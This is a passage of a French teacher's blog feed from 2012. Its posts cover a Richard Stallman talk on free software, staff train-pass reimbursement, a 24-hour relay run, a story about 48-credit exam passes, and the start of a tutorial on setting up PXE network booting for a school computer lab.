&lt;p&gt;— Si tu prends des photos de moi, tu ne les postes pas sur &lt;a href="http://facebook.com"&gt;FB&lt;/a&gt;&lt;br&gt;
— Si tu filmes la conférence, tu la distribues dans un format libre, comme &lt;em&gt;&lt;a href="https://fr.wikipedia.org/wiki/Ogg"&gt;ogg&lt;/a&gt;&lt;/em&gt;, pas en «mp quelque chose» ou en Flash ni en &lt;em&gt;Microsoft media player&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Cette réflexion n&amp;rsquo;est pas un compte-rendu à proprement parler, ce ne sont que mes impressions suite à la rencontre de &lt;em&gt;rms&lt;/em&gt; (Richard Stallman), après avoir vu comment il diffuse « LE MESSAGE »&lt;/p&gt;
&lt;p&gt;&lt;img alt="stallman.jpg" src="/images/stallman.jpg" title="stallman.jpg, oct. 2012" width="100%"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pour être qualifié de &lt;a href="http://www.gnu.org/philosophy/free-sw.html"&gt;logiciel libre&lt;/a&gt; (&lt;em&gt;free software&lt;/em&gt;), un programme doit respecter les &lt;strong&gt;quatre libertés fondamentales&lt;/strong&gt;;  &lt;/p&gt;
&lt;p&gt;liberté 0 - utiliser le logiciel pour tous les usages&lt;/p&gt;
&lt;p&gt;liberté 1 - étudier comment le code fonctionne et pouvoir le modifier pour qu&amp;rsquo;il fasse mon informatique comme je le souhaite (donner le code source est nécessaire)&lt;/p&gt;
&lt;p&gt;liberté 2 - redistribuer le logiciel, diffuser des copies dans le but d&amp;rsquo;aider mon voisin&lt;/p&gt;
&lt;p&gt;liberté 3 - distribuer une version modifiée du logiciel (donner le code source est nécessaire)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;À l&amp;rsquo;opposé des &lt;strong&gt;logiciels libres&lt;/strong&gt; se trouvent les &lt;strong&gt;logiciels propriétaires&lt;/strong&gt;. &lt;em&gt;rms&lt;/em&gt; ne parle pas de logiciel propriétaire mais de &lt;strong&gt;logiciel privateur&lt;/strong&gt;… privateur d&amp;rsquo;une des 4 libertés fondamentales.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;rms&lt;/em&gt; nous dit que se priver d&amp;rsquo;une de ces libertés nous met dans une position inconfortable. Il ne faut pas se mettre dans des positions inconfortables ! Par exemple,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Si je n&amp;rsquo;ai pas la liberté 2, je me trouve devant un dilemme lorsqu&amp;rsquo;un ami me demande une copie d&amp;rsquo;un logiciel. Je peux lui donner et briser le contrat qui me lie au logiciel privateur ou ne pas lui donner et perdre un ami…&lt;/p&gt;
&lt;p&gt;Solution: ne pas avoir d&amp;rsquo;amis !&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Si &lt;em&gt;rms&lt;/em&gt; est l&amp;rsquo;ardent défenseur, le gardien des 4 libertés fondamentales, il nous rappelle joliment que le &lt;strong&gt;logiciel libre&lt;/strong&gt; (&lt;em&gt;free software&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;) n&amp;rsquo;est pas l&amp;rsquo;open source (&lt;em&gt;open source&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Le logiciel libre est une philosophie défendant la liberté dans son informatique, la solidarité sociale, la coopération et le partage tandis que l&amp;rsquo;open source « c&amp;rsquo;est simplement pratique ». La diffusion des sources n&amp;rsquo;est faite que parce que ce sera plus facile pour la maintenance du code, pour son évolution. Ce quelqu&amp;rsquo;un qui fait de l&amp;rsquo;open source pourra supprimer une des libertés simplement parce que
c&amp;rsquo;est plus pratique.&lt;/p&gt;
&lt;p&gt;Le &lt;a href="http://www.gnu.org/gnu/the-gnu-project.html"&gt;projet GNU&lt;/a&gt; était en manque d&amp;rsquo;un noyau et c&amp;rsquo;est Linus Torvald qui a fait cette partie du boulot. Il a libéré le code du noyau linux. Cette libération du noyau a été bénéfique pour le &lt;a href="http://gnu.org"&gt;projet GNU&lt;/a&gt;. C&amp;rsquo;est — à mon sens — l&amp;rsquo;arrivée du noyau linux qui a rendu le (double) projet &lt;strong&gt;GNU linux&lt;/strong&gt; viable.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;GNU, GNU is Not Unix&lt;/em&gt; est ce qui fait le logiciel libre (l&amp;rsquo;ovule&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;)&lt;br&gt;
&lt;em&gt;linux&lt;/em&gt; est la partie open source qui complète le projet (le spermatozoïde)&lt;/p&gt;
&lt;p&gt;Dans la liste — trop longue à citer ici — des logiciels (ou services) privateurs de liberté, &lt;em&gt;rms&lt;/em&gt; cite le &lt;strong&gt;Kindle&lt;/strong&gt; d&amp;rsquo;&lt;a href="http://amazon.com"&gt;amazon&lt;/a&gt; comme privateur de liberté, pire c&amp;rsquo;est le mal. L&amp;rsquo;outil est pratique, l&amp;rsquo;achat est facile, je peux même proposer un livre à lire à mes amis… mais&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;je ne peux pas le prêter (en fait si, si je suis américain, je peux le prêter une fois pendant 14 jours… c&amp;rsquo;est, heu comique);&lt;/li&gt;
&lt;li&gt;&lt;em&gt;amazon&lt;/em&gt; sait tout ce que je lis;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;amazon&lt;/em&gt; peut supprimer &lt;strong&gt;mon&lt;/strong&gt; livre de &lt;strong&gt;mon&lt;/strong&gt; Kindle;&lt;/li&gt;
&lt;li&gt;le format est propriétaire et seul un logiciel privateur me permet de les lire&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Que sommes nous prêt à sacrifier pour que ce soit « facile » ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour l&amp;rsquo;anecdote, &lt;em&gt;rms&lt;/em&gt; a terminé en parlant de &lt;a href="http://www.gnu.org/software/emacs/"&gt;emacs&lt;/a&gt;… et je me demande si les petits jeunes n&amp;rsquo;ont pas cru qu&amp;rsquo;il parlait
d&amp;rsquo;&lt;a href="http://www.apple.com/fr/support/emac/"&gt;eMac&lt;/a&gt;&lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, je découvre la vidéo de la conférence à l&amp;rsquo;école pour ceux que n&amp;rsquo;ont pas eu la chance d&amp;rsquo;être là. Je redis qu&amp;rsquo;il faut écouter (et voir
&lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;) &lt;em&gt;rms&lt;/em&gt; une fois dans sa vie.&lt;/p&gt;
&lt;div class="iframe-container"&gt;
&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/2onsOFWme-Q?si=wmdO7vAW7XBqJibx" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;&lt;a href="http://www.youtube.com/watch?v=2onsOFWme-Q&amp;amp;feature=youtu.be"&gt;Conférence de rms à l&amp;rsquo;ÉSI (octobre 2012)&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://stallman.org"&gt;Site perso de R. Stallman&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fsf.org"&gt;Free Software Fundation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://gnu.org"&gt;Le projet GNU&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Linus Torvald&lt;/li&gt;
&lt;li&gt;&lt;a href="http://kernel.org"&gt;Le noyau linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://amazon.com"&gt;Amazon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.apple.com/fr/support/emac/"&gt;eMac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo &lt;a href="http://commons.wikimedia.org/wiki/File:Portrait_-_Denmark_DTU_2007-3-31.jpg"&gt;Wikimedia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.spaceeman.be/rms2012esi/"&gt;Au sujet de la vidéo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=2onsOFWme-Q&amp;amp;feature=youtu.be"&gt;Lien Youtube vers la conférence de rms&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Free like « free speech » not like « free beer »&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;La comparaison n&amp;rsquo;est pas de moi.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;La vanne n&amp;rsquo;est pas de moi, merci xen.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Étant derrière, je n&amp;rsquo;avais pas vu qu&amp;rsquo;il avait ôté ses chaussures… maintenant que je sais que l&amp;rsquo;on peut, je n&amp;rsquo;hésiterai pas à essayer !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Le train gratuit</title><link href="http://blog.namok.be/2012-09-30-le-train-gratuit.html" rel="alternate"/><published>2012-09-30T00:00:00+02:00</published><updated>2012-09-30T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-09-30:/2012-09-30-le-train-gratuit.html</id><summary type="html">Le train gratuit</summary><content type="html">&lt;p&gt;À première vue, l&amp;rsquo;abonnement de train sera bientôt entièrement
remboursé… bientôt.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité le 25 octobre&lt;/strong&gt; Cette mesure a un effet rétroactif &lt;strong&gt;à partir du 1 septembre 2011&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="remboursement-transport.png" src="/images/remboursement-transport.png" title="remboursement-transport.png, oct. 2012"&gt;&lt;br&gt;
&lt;em&gt;Source, revue CSC&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="he-remboursementtransport-fgtb.png" src="/images/he-remboursementtransport-fgtb.png" title="he-remboursementtransport-fgtb.png, oct. 2012"&gt;&lt;br&gt;
&lt;em&gt;Source, revue FGTB&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;après l&amp;rsquo;article de la FGTB, cette mesure&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; sera d&amp;rsquo;applications pour tout le personnel des hautes école, des écoles supérieures artistiques et des universités. Dans &lt;a href="http://www.heb.be/esi"&gt;notre école&lt;/a&gt;, le remboursement est déjà d&amp;rsquo;actualité. Reste à attendre les arrêtés d&amp;rsquo;applications au sujet de la rétroaction.&lt;/p&gt;
&lt;p&gt;Signalons que cette mesure est &lt;strong&gt;bonne pour moi&lt;/strong&gt;, ça me fera un gain de l&amp;rsquo;ordre de 36€ par mois, mais est &lt;strong&gt;mauvaise pour la HE&lt;/strong&gt; puisque le ministre qui impose le paiement n&amp;rsquo;augmente évidemment pas l&amp;rsquo;enveloppe de la HE !&lt;/p&gt;
&lt;p&gt;Reste à se renseigner pour savoir comment bénéficier de cette &lt;em&gt;rétroaction&lt;/em&gt;… ce qui n&amp;rsquo;est pas gagné puisque les justificatifs originaux doivent être remis avec la demande de remboursement.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;À ce jour, aucune source sur le web, seules ces deux publications de la CSC et de la fgtb&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Le remboursement (&lt;em&gt;aka&lt;/em&gt; l&amp;rsquo;intervention de l&amp;rsquo;employeur) des frais de déplacement en transport en commun dont il semble impossible aujourd&amp;rsquo;hui de trouver un lien sur des sites comme; &lt;a href="http://csc-on-ligne.be"&gt;la CSC&lt;/a&gt;, &lt;a href="http://www.fgtb.be/"&gt;la fgtb&lt;/a&gt;…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Mauvaise com&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Les 24h, version 2012</title><link href="http://blog.namok.be/2012-09-24-les-24h-version-2012.html" rel="alternate"/><published>2012-09-24T00:00:00+02:00</published><updated>2012-09-24T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-09-24:/2012-09-24-les-24h-version-2012.html</id><summary type="html">Les 24h, version 2012</summary><content type="html">&lt;p&gt;C&amp;rsquo;est la septième fois maintenant que je participe aux &lt;strong&gt;&lt;a href="http://www.24h-ath.be/"&gt;24h d&amp;rsquo;allure libre de Ath&lt;/a&gt;&lt;/strong&gt; (&lt;a href="2005-09-23-54-on-a-participe-aux-24h-a-pied.html"&gt;la première ne compte pas&lt;/a&gt;… on n&amp;rsquo;a fait que 6h ;-) ) et c&amp;rsquo;est la première année que j&amp;rsquo;en ressors avec très peu de courbatures.&lt;/p&gt;
&lt;p&gt;Mes 24 se sont ± 32km et 4h de repos…&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est la première fois que John court tout seul… 93km.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;équipe de cette année; Jeremy, David, Nicolas, Bertrand, Jessica, Cédric, Fred et moi (Pit)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Anecdote amusante&lt;/strong&gt; Un « papy » &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; me rattrape lors de mon dernier tour (déjà 25 km dans les jambes) et me propose de courir avec lui. Je lui dis que ça va, probablement pas le faire puisqu&amp;rsquo;il me rattrape et que je ne peux plus accélérer&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Boum ! Il a une crampe et s&amp;rsquo;arrête. Je demande s&amp;rsquo;il va bien et continue mon chemin… 3km plus tard, il me rattrape à nouveau et me dépasse en disant que sa crampe est partie !&lt;/p&gt;
&lt;p&gt;— Les 24h ne sont pas qu&amp;rsquo;une question d&amp;rsquo;âge mais d&amp;rsquo;entrainement.&lt;br&gt;
— Oui maman. &lt;/p&gt;
&lt;p&gt;Les 24h, se sont aussi des rencontres où chaque coureur respecte le niveau et l&amp;rsquo;effort de l&amp;rsquo;autre… et c&amp;rsquo;est très agréable.&lt;/p&gt;
&lt;p&gt;&lt;a href="2005-09-23-54-on-a-participe-aux-24h-a-pied.html"&gt;On a participé aux 24h à pied&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="2008-09-27-209-les-24h-ont-failli-avoir-raison-de-nous.html"&gt;Les 24h ont (failli) avoir raison de nous&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="2009-09-23-Les-24h-version-2009.html"&gt;Les 24h, version 2009&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Coureur dépassant allègrement la soixantaine&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Déjà trop rapide ^^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Proclamation de casseroles</title><link href="http://blog.namok.be/2012-09-20-proclamation-de-casseroles.html" rel="alternate"/><published>2012-09-20T00:00:00+02:00</published><updated>2012-09-20T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-09-20:/2012-09-20-proclamation-de-casseroles.html</id><summary type="html">Fiction au sujet des proclamations en seconde session et de la réussite à 48 crédits</summary><content type="html">&lt;p&gt;Je rentre dans l&amp;rsquo;auditoire en silence et je constate que c&amp;rsquo;est déjà commencé. La directrice, du haut de son estrade, récite les noms des étudiants reçus dans l&amp;rsquo;année supérieure. Je me fais discret, arrivé en retard, la politesse m&amp;rsquo;impose de ne pas me faire remarquer.&lt;/p&gt;
&lt;p&gt;La &lt;strong&gt;proclamation&lt;/strong&gt; est toujours émouvante, stressante car certains seront très contents… et d&amp;rsquo;autres non. Le passage dans l&amp;rsquo;année supérieure est important pour tous. Même si certains sont sûrs d&amp;rsquo;avoir réussi, au dernier moment, un doute les étreint. Des gouttes de sueur perlent sur le front de Martin: « Ai-je finalement réussi ce damné cours de système ! » se demande-t-il.&lt;/p&gt;
&lt;p&gt;Les profs sont debout sur les côtés de l&amp;rsquo;auditoire alors que les étudiants usent les bancs. Je vois dans la salle quelques têtes connues et je me demande combien d&amp;rsquo;entre eux seront en troisième l&amp;rsquo;an prochain. Soudain mon voisin &lt;strong&gt;pousse un cri de joie&lt;/strong&gt;, même pas étouffé, il me congratule ainsi que son voisin de gauche. La directrice est obligée d&amp;rsquo;interrompre la proclamation pendant que mon voisin traverse la moitié de l&amp;rsquo;auditoire sans respect pour la proclamation afin d&amp;rsquo;aller congratuler son camarade. Je me cache son mon banc.&lt;/p&gt;
&lt;p&gt;— « Encore une &lt;em&gt;grande dis&lt;/em&gt; ! », me dis-je intérieurement&lt;br&gt;
— Ben non, me souffle mon voisin&lt;br&gt;
— Bon ben, une &lt;em&gt;dis&lt;/em&gt; c&amp;rsquo;est bien mais ça vaut pas la peine d&amp;rsquo;en faire une si grande histoire.&lt;br&gt;
— Attend, il a pas une &lt;em&gt;dis&lt;/em&gt;. Je pense que c&amp;rsquo;est &lt;em&gt;satis&lt;/em&gt;. Il passe en troisième.&lt;br&gt;
— Vous vous trompez les gars, me souffle l&amp;rsquo;étudiant du bout de la rangée, le mec a un &lt;em&gt;R48&lt;/em&gt;. Vraiment pas la peine de faire tout ce cinéma !&lt;/p&gt;
&lt;p&gt;&lt;em&gt;L&amp;rsquo;histoire est un peu romancée.&lt;/em&gt; &lt;/p&gt;
&lt;p&gt;Un «&lt;strong&gt;R48&lt;/strong&gt;» est une &lt;strong&gt;réussite à 48 crédits&lt;/strong&gt;. Ce n&amp;rsquo;est pas une « réussite de plein droit », c&amp;rsquo;est une « réussite avec l&amp;rsquo;obligation de représenter les maximum 12 crédits résiduels », (appelés habituellement &lt;strong&gt;casseroles&lt;/strong&gt;). Mais aujourd&amp;rsquo;hui, pour l&amp;rsquo;étudiant, l&amp;rsquo;important c&amp;rsquo;est le mot réussite. On en oublie parfois, un peu vite les (maximum) 12 casseroles.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(3.1.3) De la réussite &amp;ldquo;à 48 crédits&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Au terme de la seconde session, le jury d&amp;rsquo;examens prononce la réussite d&amp;rsquo;une année d&amp;rsquo;études non diplômante dès que l&amp;rsquo;étudiant a acquis durant cette année d&amp;rsquo;études un ensemble d&amp;rsquo;au moins 48 crédits pour chacun desquels il a obtenu au moins 50 % des points et pour l&amp;rsquo;ensemble desquels il a totalisé au moins 60 % des points, pour autant qu&amp;rsquo;aucun des 12 crédits résiduels n&amp;rsquo;ait été défini comme prérequis nécessaire à la poursuite des études.&lt;/p&gt;
&lt;p&gt;Cette réussite peut également être prononcée à titre tout à fait exceptionnel à l&amp;rsquo;issue de la 1re session (voir point 5). &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je comprend parfaitement que l&amp;rsquo;on soit content lorsque l&amp;rsquo;on passe dans l&amp;rsquo;année supérieure. Cette mesure est bonne pour les étudiants (Ça fait démago&amp;rsquo; hein ?) lorsqu&amp;rsquo;elle permet à un étudiant de passer s&amp;rsquo;il lui manque quelque points dans 1 ou 2 cours.&lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas un cadeau lorsque ça dépasse les 3 cours et charge trop son année. Il se retrouve alors dans l&amp;rsquo;obligation de faire l&amp;rsquo;impasse sur certains cours et met, d&amp;rsquo;office, son année en danger; retour à la case départ.&lt;/p&gt;
&lt;p&gt;On est bien d&amp;rsquo;accord que cette mesure s&amp;rsquo;ajoute aux règles de délibération habituelles qui couvre déjà les petits accidents. Je serais plutôt pour la réussite à « &lt;em&gt;tous les cours sauf un&lt;/em&gt; »… mais en tout cas, je me ferais discret à la proclamation. Au café avec les potes, c&amp;rsquo;est une autre histoire ;-)&lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2012-08-28-rentree-je-vais-au-cours.html"&gt;Rentrée, je vais au cours&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2012-01-09-Bob-a-rate-medecine.html"&gt;Bob a raté médecine&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Réinstallation du labo 504</title><link href="http://blog.namok.be/2012-09-15-reinstallation-du-labo-504.html" rel="alternate"/><published>2012-09-15T00:00:00+02:00</published><updated>2012-09-15T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-09-15:/2012-09-15-reinstallation-du-labo-504.html</id><summary type="html">Réinstallation du labo 504</summary><content type="html">&lt;p&gt;L&amp;rsquo;école dispose de labos «stables» administrés par un technicien et sur lesquels nous n&amp;rsquo;avons pas la main. Ces labos sont très bien pour les cours de langages, d&amp;rsquo;analyse… mais pas pour des cours qui nécessitent les privilèges de &lt;em&gt;« root »&lt;/em&gt; tels que des cours d&amp;rsquo;administration des réseaux par exemple. Pour ces cours, puisqu&amp;rsquo;il y a un risque que la machine devienne instable suite à une mauvaise manip, il faut qu&amp;rsquo;un prof se charge de maintenir la stabilité minimale du réseau… c&amp;rsquo;est moi qui m&amp;rsquo;y colle pour le labo 504.&lt;/p&gt;
&lt;p&gt;&lt;a href="2011-10-17-Installation-des-nouvelles-machines-dans-le-labo-504.html"&gt;L&amp;rsquo;an dernier, on avait choisi de répliquer une machine sur les autres&lt;/a&gt; et un pote s&amp;rsquo;était chargé du boulot. Aujourd&amp;rsquo;hui, on va s&amp;rsquo;y prendre un peu différemment…&lt;/p&gt;
&lt;p&gt;&lt;img alt="orvalalacolonne.png" src="/images/orvalalacolonne.png" title="orvalalacolonne.png, sept. 2012" wdith="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Un p&amp;rsquo;tit Orval à « La Colonne » avant de commencer…&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;Contraintes&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Il faut que tous les étudiants aient les privilèges de &lt;em&gt;root&lt;/em&gt; / Administrateur.&lt;/li&gt;
&lt;li&gt;Les machines doivent être multiboot MS Windows / linux afin de     répondre aux besoins de plusieurs cours.&lt;/li&gt;
&lt;li&gt;Une machine rendue instable par une mauvaise manip doit être     rapidement réinstallée.&lt;/li&gt;
&lt;li&gt;(C&amp;rsquo;est bien de facilement obtenir des machines toutes nues à la     veille des examens par exemple)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Jadis, la solution retenue consistait à passer sur les machines avec un Live CD et une image sur une clé USB… mais &lt;em&gt;booter&lt;/em&gt; sur un CD, ça prend du temps et seul le détenteur du CD et de l&amp;rsquo;image peut réinstaller. À l&amp;rsquo;ère des réseaux, c&amp;rsquo;est moche.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;an dernier la réplication, mise en place avec &lt;a href="http://www.toine.be"&gt;Antoine&lt;/a&gt; et bien que rapide, ne m&amp;rsquo;a pas permis de réinstaller en cours d&amp;rsquo;année. Cette année, l&amp;rsquo;idée est d&amp;rsquo;obtenir au &lt;em&gt;boot&lt;/em&gt; de la machine un menu permettant de choisir :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;de &lt;em&gt;booter&lt;/em&gt; MS Windows;&lt;/li&gt;
&lt;li&gt;de &lt;em&gt;booter&lt;/em&gt; linux;&lt;/li&gt;
&lt;li&gt;de réinstaller complètement la machine (avec son IP et son nom en fonction de sa position dans le local; je sais que la machine &lt;strong&gt;orval&lt;/strong&gt;&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; se trouve physiquement à tel endroit);&lt;/li&gt;
&lt;li&gt;de réinstaller soit linux, soit MS Windows.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;em&gt;let&amp;rsquo;s go !&lt;/em&gt;&lt;/h4&gt;
&lt;p&gt;Les machines sont capables de &lt;em&gt;booter&lt;/em&gt; sur le réseau. Comme le BIOS PXE ne connait pas grand chose au départ, il faut l&amp;rsquo;informer.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est un &lt;strong&gt;serveur DHCP&lt;/strong&gt; qui se charge de donner une IP et un nom au client&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;ics-dhcp-serveur
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il suffit de configurer dhcp pour qu&amp;rsquo;il attribue la « bonne » IP à la « bonne » machine … ce qui nécessite de relever les MAC adresses des machines et d&amp;rsquo;ajouter, outre le range IP, des lignes du style dans le fichier de conf &lt;code&gt;/etc/dhcp/dhcpd.conf&lt;/code&gt;&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;host&lt;span class="w"&gt; &lt;/span&gt;orval&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;option&lt;span class="w"&gt; &lt;/span&gt;send-host&lt;span class="w"&gt; &lt;/span&gt;orval&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;hardware&lt;span class="w"&gt; &lt;/span&gt;ethernet&lt;span class="w"&gt; &lt;/span&gt;2c:27:d7:2e:20:29&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;fixed-address&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.210.4&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Lorsque le client reçoit une IP, il a besoin de télécharger un OS sur lequel booter. Il utilise, pour ce faire, un serveur &lt;strong&gt;tftp&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;Ce serveur tftp met à disposition &lt;strong&gt;pxelinux&lt;/strong&gt;, un petit &lt;em&gt;soft&lt;/em&gt; dérivant de linux et ayant la capacité de booter sur le réseau. &lt;em&gt;pxelinux&lt;/em&gt; peut proposer un menu permettant de choisir l&amp;rsquo;action suivante.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;atftp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;atftp&lt;/em&gt; ne faisant pas le boulot pour d&amp;rsquo;obscures raisons, nous le remplaçons rapidement par son copain &lt;em&gt;tftpd-hpa&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
